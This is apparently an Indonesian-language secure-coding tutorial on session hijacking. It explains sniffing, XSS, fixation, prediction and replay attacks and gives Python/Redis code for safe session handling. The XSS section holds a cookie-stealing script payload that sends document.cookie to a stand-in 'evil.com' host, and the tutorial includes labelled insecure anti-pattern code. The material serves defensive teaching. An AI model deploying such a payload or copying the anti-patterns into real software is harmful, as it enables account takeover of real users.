Session Hijacking #
Session hijacking adalah serangan di mana attacker berhasil mendapatkan session identifier milik user lain dan menggunakannya untuk mengakses aplikasi seolah-olah mereka adalah user tersebut. Tidak perlu username. Tidak perlu password. Tidak perlu bypass MFA. Cukup dengan session token yang valid, server memperlakukan attacker sebagai user yang sah — karena dari perspektif server, memang tidak ada cara membedakannya.
Inilah yang membuat session hijacking sangat berbahaya: seluruh infrastruktur autentikasi yang sudah dibangun dengan susah payah — password hashing, MFA, rate limiting — bisa dibypass sepenuhnya jika session management-nya buruk. Engineer yang membangun flow autentikasi yang sempurna tapi tidak memperhatikan lifecycle session telah membangun tembok yang kokoh dengan pintu belakang yang terbuka.
Mengapa Session adalah Target yang Berharga #
HTTP adalah protokol yang stateless — setiap request berdiri sendiri, server tidak ingat request sebelumnya. Session adalah solusi untuk masalah ini: setelah user berhasil login, server menerbitkan token (session ID) yang digunakan user untuk membuktikan identitasnya di setiap request berikutnya.
Lifecycle sebuah session:
1. User kirim credential (username + password + MFA)
2. Server verifikasi credential
3. Server generate session ID yang kuat secara kriptografis
4. Session ID disimpan di server (database/Redis) dengan:
- User ID yang terasosiasi
- Waktu dibuat
- Waktu terakhir aktif
- Metadata (IP, User-Agent, dll)
5. Session ID dikirim ke browser via cookie
6. Di setiap request berikutnya:
- Browser kirim cookie secara otomatis
- Server lookup session ID → dapatkan user context
- Server proses request sebagai user tersebut
7. Session berakhir saat:
- User logout (server invalidasi session)
- Idle timeout terlewati
- Absolute timeout tercapai
Session ID = proxy untuk identitas user setelah autentikasi
Siapapun yang memegang session ID valid = dianggap sebagai user itu
flowchart LR
A[User Login] --> B[Server Verifikasi]
B --> C[Generate Session ID]
C --> D[(Store: Redis/DB\nuser_id, created_at\nlast_active, metadata)]
C --> E[Set-Cookie: session=ID]
E --> F[Browser]
F --> G[Subsequent Request\nCookie: session=ID]
G --> H[Server Lookup\nSession ID]
H --> I[Auth Context\nDapatkan user]
I --> J[Process Request]Setiap komponen dalam lifecycle ini adalah potensi attack vector. Session ID yang bisa disadap, ditebak, atau dipindahkan ke konteks lain — semua membuka pintu untuk hijacking.
Lima Jenis Session Hijacking #
1. Session Sniffing #
Session sniffing terjadi ketika attacker menangkap traffic jaringan dan mengekstrak session token dari HTTP request yang tidak terenkripsi.
Skenario session sniffing di jaringan publik:
User di coffee shop terhubung ke WiFi bersama
↓
Attacker di jaringan yang sama menjalankan Wireshark atau tcpdump
↓
User membuka http://app.contoh.com (bukan HTTPS!)
↓
Browser mengirim request:
GET /dashboard HTTP/1.1
Host: app.contoh.com
Cookie: session=eyJhbGciOiJIUzI1NiJ9...
↓
Attacker melihat packet ini di Wireshark
↓
Attacker copy cookie value dan set di browser mereka
↓
Attacker akses app.contoh.com dengan session korban
→ Account takeover tanpa perlu tahu password
Pencegahan:
1. HTTPS wajib untuk semua halaman
2. HSTS header: browser wajib HTTPS untuk domain ini
3. Secure flag pada cookie: cookie tidak dikirim via HTTP
# Nginx — HTTPS redirect dan HSTS
server {
listen 80;
server_name app.contoh.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name app.contoh.com;
# HSTS — paksa HTTPS selama 1 tahun, termasuk subdomain
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
# Konfigurasi SSL lainnya...
}
2. XSS-based Session Hijacking #
Jika ada celah XSS di aplikasi dan session cookie tidak menggunakan HttpOnly, attacker bisa mencuri session token melalui JavaScript.
// Payload XSS yang mencuri session cookie
// Disisipkan attacker di form komentar atau input lain yang rentan
<script>
// Ambil semua cookie yang tidak HttpOnly
const stolen = document.cookie;
// Kirim ke server attacker
new Image().src = 'https://evil.com/steal?data=' +
encodeURIComponent(stolen) +
'&url=' + encodeURIComponent(location.href);
</script>
// Dengan session token yang diterima, attacker bisa:
// 1. Set cookie di browser mereka
// 2. Akses aplikasi sebagai korban
// Pencegahan:
// - HttpOnly cookie: document.cookie tidak mengandung session token
// - CSP: membatasi script yang bisa jalan dan tujuan fetch
// - Fix XSS di aplikasi
3. Session Fixation #
Session fixation adalah serangan yang lebih canggih. Alih-alih mencuri session yang sudah ada, attacker menentukan session ID yang akan digunakan korban sebelum mereka login — kemudian menggunakan session yang sama setelah korban berhasil login.
sequenceDiagram
participant A as Attacker
participant V as Victim
participant S as Server
A->>S: GET /login
S->>A: Set-Cookie: session=ATTACKER_KNOWN_ID
Note over A: Attacker tahu session ID ini
A->>V: Kirim link: https://app.com/login?sid=ATTACKER_KNOWN_ID
Note over V: Atau via link yang mengeset cookie
V->>S: GET /login (Cookie: session=ATTACKER_KNOWN_ID)
V->>S: POST /login {email, password}
S->>S: Verifikasi credential ✓
S->>S: ✗ Tidak regenerasi session ID!
S->>V: 200 OK (masih pakai session ATTACKER_KNOWN_ID)
Note over A: Attacker tahu session ID korban!
A->>S: GET /dashboard (Cookie: session=ATTACKER_KNOWN_ID)
S->>A: 200 OK — Attacker masuk sebagai Victim!# ANTI-PATTERN: tidak regenerasi session ID setelah login
@app.route('/login', methods=['POST'])
def login():
email = request.form['email']
password = request.form['password']
user = verify_credentials(email, password)
if user:
# ✗ Session ID tetap sama — session fixation vulnerable!
session['user_id'] = user.id
session['logged_in'] = True
return redirect('/dashboard')
# BENAR: selalu regenerasi session ID setelah login berhasil
@app.route('/login', methods=['POST'])
def login():
email = request.form['email']
password = request.form['password']
user = verify_credentials(email, password)
if user:
# Simpan data yang perlu dibawa
old_flash_messages = session.get('flash_messages', [])
# ✓ Buat session baru yang berbeda — hapus yang lama
session.clear() # hapus session lama sepenuhnya
session.regenerate() # atau gunakan method regenerate jika tersedia
# Set data session baru
session['user_id'] = user.id
session['logged_in'] = True
session['created_at'] = datetime.utcnow().isoformat()
session['ip_at_login'] = request.remote_addr
session['ua_at_login'] = request.user_agent.string
# Kembalikan flash messages jika perlu
session['flash_messages'] = old_flash_messages
return redirect('/dashboard')
4. Session Prediction #
Jika session ID tidak dibuat dengan cara yang kriptografis aman, attacker bisa mencoba menebaknya secara brute force atau menemukan polanya.
# ANTI-PATTERN: session ID yang bisa ditebak
import random
import time
def generate_session_id_unsafe():
# Berbasis waktu — sequential dan predictable
return str(int(time.time()))
def generate_session_id_unsafe_2():
# Random biasa — tidak kriptografis, bisa diprediksi dengan seed yang sama
return str(random.randint(100000, 999999))
def generate_session_id_unsafe_3():
# MD5 dari user info — bisa di-reverse atau di-rainbow-table
return hashlib.md5(f"{user_id}{email}".encode()).hexdigest()
# BENAR: session ID yang kriptografis aman
import secrets
def generate_session_id():
# 32 byte = 256 bit entropy
# URL-safe base64 encoding → string yang aman untuk cookie
return secrets.token_urlsafe(32)
# Verifikasi kekuatan session ID:
# secrets.token_urlsafe(32) menghasilkan ~43 karakter
# Entropy: 256 bit
# Kemungkinan brute force: 2^256 ≈ 10^77 kombinasi
# Dengan 1 miliar attempt per detik: butuh lebih dari umur alam semesta
5. Session Replay #
Session replay terjadi ketika session yang seharusnya sudah tidak valid — karena user logout, session expired, atau user sudah di lokasi berbeda — masih bisa digunakan karena server tidak memvalidasinya dengan benar.
Skenario session replay:
Attacker mendapat session token korban (via XSS, sniffing, dll)
Korban logout dari aplikasi
↓
Server hanya hapus cookie di client (response.delete_cookie)
Server TIDAK menginvalidasi session di backend
↓
Attacker masih punya token yang lama
Attacker set cookie secara manual di browser
Attacker akses aplikasi → server lookup token → masih valid!
→ Account masih bisa diakses meski korban sudah logout
Pencegahan:
Logout harus invalidasi session di server, tidak hanya di client
# ANTI-PATTERN: logout hanya hapus cookie
@app.route('/logout')
def logout_unsafe():
response = make_response(redirect('/login'))
response.delete_cookie('session') # hanya hapus di client
return response
# Session di Redis/DB masih ada dan masih valid!
# BENAR: invalidasi session di server DAN hapus cookie
@app.route('/logout')
def logout_safe():
session_token = request.cookies.get('session')
if session_token:
# Hapus session dari storage backend
redis_client.delete(f"session:{session_token}")
# Atau jika pakai database:
# Session.query.filter_by(token=session_token).delete()
response = make_response(redirect('/login'))
response.set_cookie(
'session', '',
expires=0,
httponly=True,
secure=True,
samesite='Lax'
)
return response
Implementasi Session Management yang Benar #
Session Store yang Aman #
Session sebaiknya disimpan di backend store (Redis, database) — bukan hanya di cookie. Ini memungkinkan server untuk menginvalidasi session kapan saja.
import redis
import secrets
from datetime import datetime, timedelta
redis_client = redis.Redis(host='localhost', port=6379, db=0)
SESSION_TTL_SECONDS = 3600 * 8 # 8 jam absolute timeout
IDLE_TTL_SECONDS = 1800 # 30 menit idle timeout
def create_session(user_id, request):
session_token = secrets.token_urlsafe(32)
session_data = {
'user_id': str(user_id),
'created_at': datetime.utcnow().isoformat(),
'last_active': datetime.utcnow().isoformat(),
'ip': request.remote_addr,
'user_agent': request.user_agent.string[:200], # limit panjang
}
# Simpan di Redis dengan TTL
redis_client.hset(f"session:{session_token}", mapping=session_data)
redis_client.expire(f"session:{session_token}", SESSION_TTL_SECONDS)
return session_token
def get_session(session_token, request):
if not session_token:
return None
data = redis_client.hgetall(f"session:{session_token}")
if not data:
return None
# Decode bytes ke string
session = {k.decode(): v.decode() for k, v in data.items()}
# Cek idle timeout
last_active = datetime.fromisoformat(session['last_active'])
if (datetime.utcnow() - last_active).seconds > IDLE_TTL_SECONDS:
invalidate_session(session_token)
return None
# Perbarui last_active (rolling timeout)
redis_client.hset(f"session:{session_token}", 'last_active',
datetime.utcnow().isoformat())
return session
def invalidate_session(session_token):
redis_client.delete(f"session:{session_token}")
def invalidate_all_sessions(user_id):
"""Logout dari semua device — berguna setelah password reset"""
# Scan semua session key (di production, maintain set of user's sessions)
# Atau simpan daftar session per user di Redis set
user_sessions = redis_client.smembers(f"user_sessions:{user_id}")
for token in user_sessions:
redis_client.delete(f"session:{token.decode()}")
redis_client.delete(f"user_sessions:{user_id}")
Binding Session ke Konteks User #
Mengikat session ke konteks spesifik user menambahkan lapisan perlindungan: bahkan jika token dicuri, penggunaan dari konteks yang berbeda akan dideteksi.
def validate_session_context(session, request):
"""
Validasi bahwa request berasal dari konteks yang sama
dengan saat session dibuat.
"""
# Cek User-Agent
current_ua = request.user_agent.string
session_ua = session.get('user_agent', '')
# Perbandingan fleksibel — UA bisa berubah karena update browser
# tapi perubahan drastis (Chrome → Firefox) mencurigakan
if not user_agents_similar(current_ua, session_ua):
log_suspicious_session(session, request, 'user_agent_mismatch')
# Opsi: invalidasi session atau minta re-auth
return False
# Cek perubahan IP address (opsional dan hati-hati)
# IP bisa berubah secara legitimate (mobile network switch, VPN)
# Jangan langsung invalidasi — gunakan untuk scoring risiko saja
current_ip = request.remote_addr
session_ip = session.get('ip', '')
if current_ip != session_ip:
# Log sebagai anomali, tapi jangan langsung blokir
log_suspicious_session(session, request, 'ip_changed')
# Pertimbangkan risk scoring di sini
return True
def user_agents_similar(ua1, ua2):
"""Cek apakah dua user agent dari browser yang sama."""
import re
# Extract browser name saja (Chrome, Firefox, Safari, dll)
browser_pattern = r'(Chrome|Firefox|Safari|Edge|Opera)'
browser1 = re.search(browser_pattern, ua1)
browser2 = re.search(browser_pattern, ua2)
if browser1 and browser2:
return browser1.group(1) == browser2.group(1)
return True # tidak bisa dibandingkan, anggap OK
Deteksi Anomali Session #
Monitoring aktif terhadap pola penggunaan session yang tidak normal adalah lapisan deteksi yang penting.
# Pola anomali yang perlu dideteksi:
def detect_session_anomalies(session_token, request):
session = get_session(session_token, request)
if not session:
return
anomalies = []
# 1. Deteksi concurrent session dari lokasi berbeda secara bersamaan
active_locations = get_active_locations_for_user(session['user_id'])
current_location = get_geo_from_ip(request.remote_addr)
if len(active_locations) > 1 and current_location not in active_locations:
anomalies.append({
'type': 'concurrent_location',
'detail': f"Session aktif dari {active_locations} dan {current_location}"
})
# 2. Deteksi penggunaan session dari geografis yang tidak mungkin
# (login dari Jakarta, 5 menit kemudian dari New York)
last_location = session.get('last_known_location')
if last_location and is_impossible_travel(
last_location, current_location,
time_diff_minutes=5 # 5 menit tidak cukup untuk pindah benua
):
anomalies.append({
'type': 'impossible_travel',
'detail': f"Dari {last_location} ke {current_location} dalam waktu singkat"
})
# 3. Deteksi akses di luar jam normal user
user_timezone = session.get('timezone')
local_hour = get_local_hour(user_timezone)
if local_hour < 4 or local_hour > 23: # aktivitas antara 00:00-04:00 lokal
anomalies.append({
'type': 'unusual_hour',
'detail': f"Aktivitas pada {local_hour}:00 waktu lokal user"
})
if anomalies:
for anomaly in anomalies:
log_security_event('session_anomaly', {
'session_token_hash': hash_token(session_token),
'user_id': session['user_id'],
'anomaly': anomaly,
'request_ip': request.remote_addr
})
# Trigger action berdasarkan severity
if any(a['type'] == 'impossible_travel' for a in anomalies):
# Langsung invalidasi session — ini sangat mencurigakan
invalidate_session(session_token)
send_security_alert_email(session['user_id'], anomalies)
else:
# Minta re-autentikasi (step-up authentication)
flag_session_for_reauth(session_token)
Concurrent Session Control #
Membatasi berapa banyak session aktif yang boleh dimiliki satu user adalah cara efektif untuk mendeteksi dan membatasi dampak session hijacking.
MAX_CONCURRENT_SESSIONS = 3
def create_session_with_limit(user_id, request):
# Dapatkan semua session aktif user ini
user_sessions_key = f"user_sessions:{user_id}"
active_sessions = redis_client.smembers(user_sessions_key)
# Jika sudah mencapai limit, hapus yang paling lama
if len(active_sessions) >= MAX_CONCURRENT_SESSIONS:
# Cari session tertua
oldest_token = None
oldest_time = None
for token in active_sessions:
session_data = redis_client.hget(f"session:{token.decode()}", 'created_at')
if session_data:
created = datetime.fromisoformat(session_data.decode())
if oldest_time is None or created < oldest_time:
oldest_time = created
oldest_token = token.decode()
if oldest_token:
# Invalidasi session tertua
invalidate_session(oldest_token)
redis_client.srem(user_sessions_key, oldest_token)
# Buat session baru
session_token = create_session(user_id, request)
# Track session ini untuk user
redis_client.sadd(user_sessions_key, session_token)
redis_client.expire(user_sessions_key, SESSION_TTL_SECONDS)
return session_token
def get_user_active_sessions(user_id):
"""Untuk fitur 'kelola device aktif' yang ditampilkan ke user."""
user_sessions_key = f"user_sessions:{user_id}"
session_tokens = redis_client.smembers(user_sessions_key)
sessions = []
for token in session_tokens:
data = redis_client.hgetall(f"session:{token.decode()}")
if data:
sessions.append({
'token_last4': token.decode()[-4:],
'created_at': data.get(b'created_at', b'').decode(),
'last_active': data.get(b'last_active', b'').decode(),
'ip': data.get(b'ip', b'').decode(),
'user_agent': data.get(b'user_agent', b'').decode()[:50],
})
return sessions
Session Expiration yang Benar #
Dua jenis timeout harus diterapkan bersama, bukan memilih salah satu:
# Perbedaan idle timeout dan absolute timeout:
# Idle timeout:
# → Session expired jika tidak ada aktivitas selama N menit
# → Melindungi dari sesi yang ditinggalkan (user lupa logout)
# → Bisa diperpanjang dengan aktivitas (sliding timeout)
IDLE_TIMEOUT = timedelta(minutes=30)
# Absolute timeout:
# → Session expired N jam setelah dibuat, apapun yang terjadi
# → Memaksa re-autentikasi secara periodik
# → Membatasi window jika session sudah dikompromikan tanpa diketahui
ABSOLUTE_TIMEOUT = timedelta(hours=8)
def check_session_validity(session):
now = datetime.utcnow()
# Cek absolute timeout
created_at = datetime.fromisoformat(session['created_at'])
if (now - created_at) > ABSOLUTE_TIMEOUT:
return False, 'absolute_timeout'
# Cek idle timeout
last_active = datetime.fromisoformat(session['last_active'])
if (now - last_active) > IDLE_TIMEOUT:
return False, 'idle_timeout'
return True, None
Anti-Pattern yang Harus Dihindari #
# ✗ Anti-pattern 1: session ID yang tidak kriptografis aman
session_id = str(user.id) + str(int(time.time()))
# Sequential, predictable → bisa ditebak
# ✗ Anti-pattern 2: tidak regenerasi session ID setelah login
# Session fixation vulnerability
# ✗ Anti-pattern 3: session tanpa expiry
redis_client.hset(f"session:{token}", mapping=data)
# Tidak ada TTL → session berlaku selamanya → window hijacking tak terbatas
# ✗ Anti-pattern 4: logout tidak invalidasi di server
response.delete_cookie('session') # hanya hapus client-side
# ✗ Anti-pattern 5: session ID panjang tapi disimpan di URL
# /dashboard?session=eyJhbGc...
# URL tersimpan di browser history, server log, referrer header
# ✗ Anti-pattern 6: tidak ada monitoring anomali
# Session yang dikompromikan tidak terdeteksi sampai user lapor
# ✗ Anti-pattern 7: semua session user dibiarkan aktif setelah password change
# Jika password diubah karena dikompromikan, semua session harus diinvalidasi
def change_password(user_id, new_password):
update_password(user_id, new_password)
# ✗ Lupa invalidasi semua session yang ada!
# Attacker yang sudah punya session masih bisa akses
# ✓ Benar:
def change_password_safe(user_id, new_password, current_session_token):
update_password(user_id, new_password)
# Invalidasi semua session kecuali yang sedang aktif (opsional)
invalidate_all_sessions_except(user_id, current_session_token)
send_notification(user_id, 'password_changed_all_devices_logged_out')
Checklist Session Hijacking Prevention #
SESSION GENERATION:
□ Session ID menggunakan CSPRNG (secrets.token_urlsafe / SecureRandom)
□ Minimal 128-bit entropy (16 byte / 22 karakter base64url)
□ Session ID tidak mengandung informasi yang bisa ditebak (user ID, waktu)
□ Session ID tidak pernah muncul di URL — selalu via cookie
COOKIE SECURITY:
□ HttpOnly: true — tidak bisa diakses JavaScript
□ Secure: true — hanya dikirim via HTTPS
□ SameSite: Lax atau Strict — perlindungan CSRF
□ Max-Age/Expires: session tidak berlaku selamanya
SESSION LIFECYCLE:
□ Session ID di-regenerasi setelah login berhasil
□ Session ID di-regenerasi setelah privilege escalation
□ Idle timeout dikonfigurasi (30 menit adalah titik awal yang wajar)
□ Absolute timeout dikonfigurasi (8 jam untuk aplikasi bisnis)
□ Logout menginvalidasi session di server, tidak hanya hapus cookie
□ Password change menginvalidasi semua session aktif
SESSION STORAGE:
□ Session disimpan di backend (Redis/DB), bukan hanya di cookie
□ Session menyimpan metadata: created_at, last_active, IP, User-Agent
□ Session bisa diinvalidasi per-token dari server kapan saja
ANOMALY DETECTION:
□ Concurrent login dari lokasi yang secara fisik tidak mungkin terdeteksi
□ Perubahan User-Agent yang drastis di-log
□ Aktivitas di luar jam normal user dicatat
□ Alert dikirim ke user untuk aktivitas yang mencurigakan
CONCURRENT SESSION:
□ Ada batas maksimum session aktif per user
□ User bisa melihat dan mencabut session aktif mereka
□ API untuk "logout dari semua device" tersedia
HTTPS:
□ TLS aktif di semua environment (termasuk staging)
□ HTTP redirect ke HTTPS untuk semua request
□ HSTS header aktif dengan durasi yang panjang
Ringkasan #
- Session adalah proxy untuk identitas — siapapun yang memegang session ID valid dianggap sebagai user oleh server. Ini menjadikannya target utama attacker yang ingin bypass autentikasi.
- Lima vektor hijacking yang berbeda membutuhkan mitigasi yang berbeda — sniffing (HTTPS + Secure cookie), XSS (HttpOnly + CSP), fixation (regenerasi session ID), prediction (CSPRNG), replay (invalidasi server-side saat logout).
- Session ID harus dibuat dengan CSPRNG —
secrets.token_urlsafe(32)di Python,crypto.randomBytes(32)di Node.js. Bukan random biasa, bukan timestamp, bukan MD5 dari user data.- Regenerasi session ID setelah login adalah wajib — ini satu-satunya cara mencegah session fixation. Buat session baru yang sama sekali berbeda setelah kredensial diverifikasi.
- Dua jenis timeout harus diterapkan bersamaan — idle timeout memproteksi session yang ditinggalkan, absolute timeout memaksa re-autentikasi periodik meski session terus digunakan.
- Logout harus invalidasi di server, bukan hanya hapus cookie — cookie yang dihapus di client tidak mencegah replay attack jika session di backend masih valid.
- Password change harus invalidasi semua session — jika password diubah karena dikompromikan, session attacker yang sudah ada harus ikut dihapus.
- Binding session ke konteks menambahkan lapisan perlindungan — perubahan drastis User-Agent atau lokasi yang secara fisik tidak mungkin dalam waktu singkat adalah sinyal hijacking.
- Concurrent session limit melindungi dan memberi visibilitas — membatasi jumlah session aktif sekaligus memungkinkan user melihat dan mencabut akses yang tidak dikenali.
- Session management yang benar adalah fondasi semua mekanisme autentikasi lainnya — MFA, password kuat, dan rate limiting sia-sia jika session bisa dibajak.